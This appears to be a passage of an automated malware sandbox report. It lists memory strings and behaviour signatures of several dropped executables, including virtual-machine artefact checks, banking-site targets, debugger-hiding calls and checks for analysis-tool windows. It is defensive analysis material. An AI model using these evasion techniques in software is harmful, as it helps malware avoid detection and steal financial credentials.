Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\]q
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001615000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.2913797282.00000000017EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .utiitsl.comVMware20,1169642865H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: RegAsm.exe, 0000001E.00000002.3401541855.0000000001395000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000&00000
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696X
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nickname.utiitsl.comVMware20,1169642865H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: svchost.exe, 00000003.00000003.2087752839.000001100BE44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3233367399.0000000001181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3403925451.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3026947353.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3032309228.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3351104228.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3352503982.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3406275489.0000000002AE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.0000000001181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}B-
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3632712817.0000000005302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2983751491.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2984876569.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350118265.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3349242802.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3391120497.0000000000193000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}HE
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: svchost.exe, 00000003.00000002.3394920888.000001100BE02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugObjectHandle
